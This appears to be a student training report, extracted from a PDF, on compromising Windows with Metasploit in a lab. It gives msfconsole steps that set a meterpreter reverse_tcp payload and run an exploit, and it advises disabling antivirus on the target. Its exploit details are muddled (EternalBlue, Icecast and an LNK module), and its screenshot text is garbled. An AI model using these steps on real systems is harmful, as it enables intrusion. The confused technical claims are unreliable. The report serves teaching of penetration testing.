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ABSTRACT

Metasploit is a penetration testing platform that simplifies the process of
hacking. For several attackers and defenders, it is a must-have tool. Metasploit works
flawlessly with Nmap, SNMP scanner, and Windows patch detection, among other

tools, during the data gathering portion of a pen test.

Windows Hacking - the user password of Windows OS, which appears after
the Windows starts logging in, lets users protect the computer from getting
unauthorized access. Choosing a strong password of more than eight digits is an

excellent practice.
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CHAPTER 1
INTRODUCTION

1.1 ETHICAL HACKING

Ethical hacking is a process of detecting vulnerabilities in an application,
system, or organization’s infrastructure that an attacker can use to exploit an
individual or organization. They use this process to prevent cyber attacks and security
breaches by lawfully hacking into the systems and looking for weak points.

Types of Ethical Hacking
It is no big secret that any system, process, website, device, etc., can be

hacked. In order to understand how the hack might happen and what the damage

could be, ethical hackers must know how to think like malicious hackers and know the

o

tools and techniques they are likely to use.

Social
Engineering

Hacking Wireless
Networks

Web Application Web Server
Hacking Hacking Hacking

Fig.1.1 Types of Ethical Hacking

Phase of Ethical Hacking

An ethical hacker follows the steps and thought process of a malicious attacker
to gain authorized access and test the organization’s strategies and network. An
attacker or an ethical hacker follows the same five-step hacking process to breach the
network or system. The ethical hacking process begins with looking for various ways
to hack into the system, exploiting vulnerabilities, maintaining steady access to the

system, and lastly, clearing one’s tracks.



The five phases of ethical hacking are:
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Fig.1.2 Phases of Ethical Hacking

Reconnaissance

First in the ethical hacking methodology steps is reconnaissance, also known
as the footprint or information gathering phase. The goal of this preparatory phase is
to collect as much information as possible. Before launching an attack, the attacker
collects all the necessary information about the target. The data is likely to contain
passwords, essential details of employees, etc. An attacker can collect the
information by using tools such as HTTPTrack to download an entire website to
gather information about an individual or using search engines such as Maltego to

research about an individual through various links, job profile, news, etc.

Reconnaissance is an essential phase of ethical hacking. It helps identify
which attacks can be launched and how likely the organization’s systems fall

vulnerable to those attacks.

Footprinting collects data from areas such as:
e TCP and UDP services
e Vulnerabilities

e Through specific IP addresses

e Host of a network

In ethical hacking, footprinting is of two types:



Active: This footprinting method involves gathering information from the target

directly using Nmap tools to scan the target’s network.

Passive: The second footprinting method is collecting information without
directly accessing the target in any way. Attackers or ethical hackers can collect the
report through social media accounts, public websites, etc.

Scanning

The second step in the hacking methodology is scanning, where attackers try
to find different ways to gain the target’s information. The attacker looks for
information such as user accounts, credentials, IP addresses, etc. This step of ethical
hacking involves finding easy and quick ways to access the network and skim for
information. Tools such as dialers, port scanners, network mappers, sweepers, and
vulnerability scanners are used in the scanning phase to scan data and records. In
ethical hacking methodology, four different types of scanning practices are used, they

are as follows:

e Vulnerability Scanning: This scanning practice targets the vulnerabilities and
weak points of a target and tries various ways to exploit those weaknesses. It
is conducted using automated tools such as Netsparker, OpenVAS, Nmap, etc.

e Port Scanning: This involves using port scanners, dialers, and other data-
gathering tools or software to listen to open TCP and UDP ports, running
services, live systems on the target host. Penetration testers or attackers use
this scanning to find open doors to access an organization’s systems.

e Network Scanning: This practice is used to detect active devices on a
network and find ways to exploit a network. It could be an organizational
network where all employee systems are connected to a single network.
Ethical hackers use network scanning to strengthen a company’s network by

identifying vulnerabilities and open doors.


https://eccouncil.org/cybersecurity-exchange/ethical-hacking/security-vulnerabilities-ethical-hacking-can-uncover/

Gaining Access

The next step in hacking is where an attacker uses all means to get
unauthorized access to the target’s systems, applications, or networks. An attacker
can use various tools and methods to gain access and enter a system. This hacking
phase attempts to get into the system and exploit the system by downloading
malicious software or application, stealing sensitive information, getting unauthorized
access, asking for ransom, etc. Metasploit is one of the most common tools used to
gain access, and social engineering is a widely used attack to exploit a target.

Ethical hackers and penetration testers can secure potential entry points,
ensure all systems and applications are password-protected, and secure the network
infrastructure using a firewall. They can send fake social engineering emails to the

employees and identify which employee is likely to fall victim to cyberattacks.

Maintaining Access

Once the attacker manages to access the target’s system, they try their best to
maintain that access. In this stage, the hacker continuously exploits the system,
launches DDoS attacks, uses the hijacked system as a launching pad, or steals the
entire database. A backdoor and Trojan are tools used to exploit a vulnerable system
and steal credentials, essential records, and more. In this phase, the attacker aims to
maintain their unauthorized access until they complete their malicious activities

without the user finding out.

Ethical hackers or penetration testers can utilize this phase by scanning the
entire organization’s infrastructure to get hold of malicious activities and find their root

cause to avoid the systems from being exploited.



Clearing Track

The last phase of ethical hacking requires hackers to clear their track as no
attacker wants to get caught. This step ensures that the attackers leave no clues or
evidence behind that could be traced back. It is crucial as ethical hackers need to
maintain their connection in the system without getting identified by incident response
or the forensics team. It includes editing, corrupting, or deleting logs or registry
values. The attacker also deletes or uninstalls folders, applications, and software or
ensures that the changed files are traced back to their original value.

In ethical hackers they use the following ways to erase their tracks:

e Using reverse HTTP Shells
e Deleting cache and history to erase the digital footprint

e Using ICMP (Internet Control Message Protocol) Tunnels

1.2 METASPLOIT

The Metasploit framework is a very powerful tool which can be used by
cybercriminals as well as ethical hackers to probe systematic vulnerabilities on
networks and servers. Because it's an open-source framework, it can be easily
customized and used with most operating systems. With Metasploit, the pen testing
team can use ready-made or custom code and introduce it into a network to probe for
weak spots. As another flavor of threat hunting, once flaws are identified and
documented, the information can be used to address systemic weaknesses and

prioritize solutions.

Features of Metasploit

e exploits
e payloads

e auxiliary functions


https://www.varonis.com/blog/interview-with-pen-testing-expert-ed-skoudis?hsLang=en
https://www.varonis.com/blog/interview-with-pen-testing-expert-ed-skoudis?hsLang=en
https://www.carbonblack.com/2019/05/21/4-common-misconceptions-about-threat-hunting/
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Metasploit provides you with modules for:
Tool used to take advantage of system weaknesses
Sets of malicious code
Supplementary tools and commands
Used to convert code or information

Malicious software that hides in order to gain access

Code that is programmed to activate once inside the target

Helps test deeper penetration once inside

An instruction to keep the payload from crashing

Fig.1.3 Metasploit



CHAPTER 2
SYSTEM SPECIFICATION

2.1 HARDWARE SPECIFICATION

Processor : Intel Core i5 and above
Internet Connection : Existing telephone lines, Data card, Fiber net
RAM : 8 GB

2.2 SOFTWARE SPECIFICATION

Operating System : Windows, Kali Linux
Virtualization : VM Virtual Box
Kali Linux

Kali Linux (formerly known as BackTrack Linux) is an open-source, Debian-
based Linux distribution aimed at advanced Penetration Testing and Security
Auditing. Kali Linux contains several hundred tools targeted towards various
information security tasks, such as Penetration Testing, Security Research,
Computer Forensics and Reverse Engineering. Kali Linux is a multi platform
solution, accessible and freely available to information security professionals and
hobbyists

Features of Kali Linux are

e More than 600 penetration testing tools included
e Free (as in beer) and always will be
e Open source Git tree

e FHS compliant


https://www.kali.org/
https://www.backtrack-linux.org/
https://www.kali.org/docs/policy/kali-linux-open-source-policy/
https://www.kali.org/docs/policy/kali-linux-relationship-with-debian/
https://www.kali.org/docs/policy/kali-linux-relationship-with-debian/
https://www.kali.org/docs/policy/penetration-testing-tools-policy/
https://www.kali.org/docs/policy/penetration-testing-tools-policy/

e Wide-ranging wireless device support

e Custom kernel, patched for injection

e Developed in a secure environment

e GPG signed packages and repositories
e Multi-language support

e Completely customizable

e ARMEL and ARMHF support

VM Virtual Box

VirtualBox is open-source software for virtualizing the x86 computing
architecture. It acts as a hypervisor, creating a VM (virtual machine) where the user
can run another OS (operating system). The operating system where VirtualBox runs
is called the "host" OS. The operating system running in the VM is called the "guest”
OS. VirtualBox supports Windows, Linux, or macOS as its host OS. When configuring
a virtual machine, the wuser can specify how many CPU cores, and how
much RAM and disk space should be devoted to the VM. When the VM is running, it
can be "paused.” System execution is frozen at that moment in time, and the user can

resume using it later.


https://www.computerhope.com/jargon/h/hypervisor.htm
https://www.computerhope.com/jargon/v/virtmach.htm
https://www.computerhope.com/jargon/o/os.htm
https://www.computerhope.com/jargon/w/windows.htm
https://www.computerhope.com/jargon/l/linux.htm
https://www.computerhope.com/jargon/m/macos.htm
https://www.computerhope.com/jargon/c/cpu.htm
https://www.computerhope.com/jargon/c/core.htm
https://www.computerhope.com/jargon/r/ram.htm
https://www.computerhope.com/jargon/d/diskcapa.htm
https://www.computerhope.com/jargon/e/execute.htm

CHAPTER 3
SYSTEM IMPLEMENTATION

3.1 SYSTEM ARCHITECTURE/ IDEATION MAP

The Metasploit framework is a
very powerful tool which can Metasploit

be used by cybercriminals as well
as ethical hackers to
probe systematic vulnerabilities on
networks and servers.

Vulnerable Attacking
Machine Machine
(Eternal blue) (Kali Linux)

Requirements Linux or
Windows for testing

msfconsole provides a command
line interface to access and work

with Metasploit msfoonsole

Search Ice Cast

Set R Host 10.10.43.154

Executing the
Exploit known Vulnerabilities
& Weakness

Getting
the system information SYS info
from Attacking Machine

PS(Process)

Fig.3.1 Ideation Map

The fig 3.1 shows the ideation map of this project defines the flow of hacking

windows using metasploit.

3.2 SYSTEM PROCESS

To launch msfconsole, enter msfconsole at the command line

#msfconsole



Now once you get the msf prompt type the below command and look for the module
exploit/downloaded path

An exploit is the means by which an attacker, or pen tester for that matter, takes
advantage of a flaw within a system, an application, or a service. An attacker uses an
exploit to attack a system in a way that results in a particular desired outcome that the

developer never intended.

Here above module exploits a vulnerability in the handling of Windows Shortcut files
(.LNK) that contain an icon resource pointing to a malicious DLL. This module creates
a WebDAV service that can be used to run an arbitrary payload when accessed as a
UNC path.

Now once we have found the desired module we will use this exploit by typing the
below command.

#msf > use exploit/downloaded path

Once loaded your msf prompt should be inclusive of the loaded exploit. given below is

the image

Now once the exploit is loaded we will set the payload for the above select exploit. In
our scenario will be using reverse TCP payload. Type the below command to set

payload.

A payload is code that we want the system to execute and that is to be selected and
delivered by the Framework. A reverse shell is a payload that

creates a connection from the target machine back to the attacker as a Windows
command prompt, whereas a bind shell is a payload that

‘binds” a command prompt to a listening port on the target machine, which the

attacker can then connect.

#msf > set payload windows/meterpreter/reverse_tcp



Now its time to do some configuration for the exploit/payload that we have just set.
type the given command
#msf > show options

Now we have to set the local host to listen. Type the given below two commands.
#msf > set SRVHOST IP Address

This will be your HOST IP address running metasploit.
#msf > set LHOST IP Address
This will be also be your HOST IP address running metasploit.

Now check if the above applied configuration is applied.

#msf > show options

Now Finally we will start to exploit. Run the command Exploit.

#msf > exploit

Now Finally we will start to exploit. Run the command Exploit.
#msf > exploit
Note: it will give your a pop-up asking from permission click ALLOW and Make sure

you do not have any AntiVirus running on the target PC.

You can check the number of successful connected session by running the
command sessons in msf console.

Now as we can see that we have one victim connected its time to login to the system.
run the command session -i 1.

#meterpeter > session -i 1

Once connected type linux command to browse inside the System and have full

control on it.



CHAPTER 4
CONCLUSION

This project presents a recommendation system that uses Metasploit for
hacking windows with Linus(os). we're going to install Metasploit. Metasploit is the
machine we are going to use to attack the software Eternal blue is the vulnerable
machine to attack. In Linux Operating system we are going to install Metasploit as
(attacker) and Eternal blue as (Vulnerable machine) and going to Hack windows. This

this project concludes we can hack windows using Metasploit.



REFERENCES

1. EC Council. https://www.eccouncil.org/ethical-
hacking/#:~:text=Ethical%20hacking%20is%20a%20process,and%20looking%

20for%20weak%20points/

2. https://securiumsolutions.com/blog/hacking-windows-7-using-metasploit-

backdoor-and-post-exploitation/

3. Wordpress. https://sathisharthars.wordpress.com/2014/05/21/hack-windows-7-

with-metasploit-using-kali-linux/



https://www.eccouncil.org/ethical-hacking/#:~:text=Ethical%20hacking%20is%20a%20process,and%20looking%20for%20weak%20points/
https://www.eccouncil.org/ethical-hacking/#:~:text=Ethical%20hacking%20is%20a%20process,and%20looking%20for%20weak%20points/
https://www.eccouncil.org/ethical-hacking/#:~:text=Ethical%20hacking%20is%20a%20process,and%20looking%20for%20weak%20points/
https://securiumsolutions.com/blog/hacking-windows-7-using-metasploit-backdoor-and-post-exploitation/
https://securiumsolutions.com/blog/hacking-windows-7-using-metasploit-backdoor-and-post-exploitation/
https://sathisharthars.wordpress.com/2014/05/21/hack-windows-7-with-metasploit-using-kali-linux/
https://sathisharthars.wordpress.com/2014/05/21/hack-windows-7-with-metasploit-using-kali-linux/

APPENDIX A
SNAP SHOTS

Edit Vie Screenshot taken

N emPoC- [

File Actions Edit View Help

3Kom Supertack II Logon

NKNOWN gre




N ampPoc)-

File Actions Edit View Help

Actions Edit View Help

JNKNOWN g




BN eimPka

File Actions Edit View Help

S omPo-|[ o]

File Actions Edit View Help




N oimPaC

[

File Actions Edit View Help

Nemp

File Actions Edit View Help Screenshot taken




	PROFESSIONAL TRAINING REPORT
	at
	SUJAY .R

	DEPARTMENT OF INFORMATION TECHNOLOGY
	Internal Guide
	Dr. A. Sivasangari, M.E., Ph.D.,
	Submitted for Viva voce Examination held on
	DATE:
	Maintaining Access
	Clearing Track



